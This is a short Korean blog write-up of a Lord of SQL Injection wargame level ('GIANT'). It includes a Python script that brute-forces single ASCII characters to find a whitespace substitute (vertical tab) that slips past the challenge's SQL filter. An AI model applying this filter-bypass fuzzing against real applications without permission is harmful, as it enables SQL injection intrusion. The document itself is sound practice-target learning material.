Lord Of Sql injection
LOS 14번 GIANT
Dork94
2019. 1. 12. 07:15
이번 문제는 띠용...입니다.
볼게요!
특이하게 from뒤에 저희가 shit에 준 값이 붙는군요.
그리고 그건 길이가 1이넘지 않아야합니다.
우리는 개행을 할 수 있는 뭔가를 찾아야하고, 찾을겁니다.
그래서 ASCII코드표를 보려했으나 귀찮음이 발동해서..
어차피 ASCII코드중 하나이겠지 싶어 brote force를 돌려봤습니다 하하하하하
from bs4 import BeautifulSoup
import requests
def login(id, pw):
url = 'https://los.rubiya.kr/?login'
data = {'id': id, 'pw': pw}
res = requests.post(url, data=data)
if res.status_code != 200:
print('Please check server status.')
exit(1)
if res.text.find('fail') != -1:
print('Please check your id or pw')
exit(1)
print('Login Success!')
return res.cookies.get_dict()
url = 'https://los.rubiya.kr/chall/giant_18a08c3be1d1753de0cb157703f75a5e.php?shit='
cookie = login('id','passwd')
for i in range(0,127):
res = requests.get(url+chr(i), cookies=cookie)
soup = BeautifulSoup(res.text, 'html.parser')
h2s = soup.find_all('h2')
if h2s:
print('Clear Secret is ASCII CODE {0}'.format(i))
break
성공이네요 :) 비밀은 ASCII CODE 11번에 있는 VT였네요!